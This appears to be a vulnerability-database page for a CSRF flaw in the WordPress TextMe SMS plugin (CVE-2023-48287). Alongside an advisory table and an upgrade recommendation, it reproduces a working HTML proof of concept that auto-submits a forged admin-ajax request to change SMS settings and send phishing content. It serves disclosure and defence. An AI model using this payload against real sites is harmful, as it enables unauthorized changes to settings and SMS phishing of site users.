WordPress TextMe SMS 1.9.0 Cross Site Request Forgery Vulnerability
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | CVE-2023-48287 | 9 Dec 202412:01 | – | circl |
 | WordPress plugin TextMe SMS 安全漏洞 | 9 Dec 202400:00 | – | cnnvd |
 | CVE-2023-48287 | 9 Dec 202411:30 | – | cve |
 | CVE-2023-48287 WordPress TextMe SMS plugin <= 1.9.0 - Broken Access Control vulnerability | 9 Dec 202411:30 | – | cvelist |
 | EUVD-2023-52354 | 3 Oct 202520:07 | – | euvd |
 | CVE-2023-48287 | 9 Dec 202413:15 | – | nvd |
 | WordPress TextMe SMS 1.9.0 Cross Site Request Forgery | 11 Dec 202300:00 | – | packetstorm |
 | WordPress TextMe SMS Plugin <= 1.9.0 is vulnerable to Broken Access Control | 23 Nov 202300:00 | – | patchstack |
 | PT-2024-13575 · Unknown · Textme Sms | 9 Dec 202400:00 | – | ptsecurity |
 | CVE-2023-48287: Missing Authorization | 9 Dec 202400:00 | – | rapid7 |
10
# Exploit Title: WP Plugins TextMe SMS <= 1.9.0 - CSRF
# Exploit Author: Arvandy
# Software Link: https://wordpress.org/plugins/textme-sms-integration/
# Version: 1.9.0
# Tested on: Windows, Linux
# CVE: CVE-2023-48287
# Product Description
This plugin allows you to send SMS messages from your WordPress dashboard to the site owner or to your end users.
# Vulnerability overview
The Wordpress plugins TextMe SMS <= 1.9.0 is vulnerable to Cross-Site Request Forgery in the Settings function (Account details and Contact Form 7 Events). This could allow unauthenticated users to trick authenticated users to unintentionally modify the account details and contact form 7 events. This could lead to sensitive data leakage as well as phishing attacks.
# Proof of Concept
<html>
<body>
<form action="http://x.x.x.x/WP/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tetxme_update_option_page" />
<input type="hidden" name="data" value="textme_cf7=1&textme_cf7_user=1&textme_cf7_phone_field=0123456789&textme_cf7_user_content=SMS%20Phishing%20Sample" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
# Recommendation
Upgrade to version 1.9.1
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Dec 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.15.4
EPSS0.00476
SSVC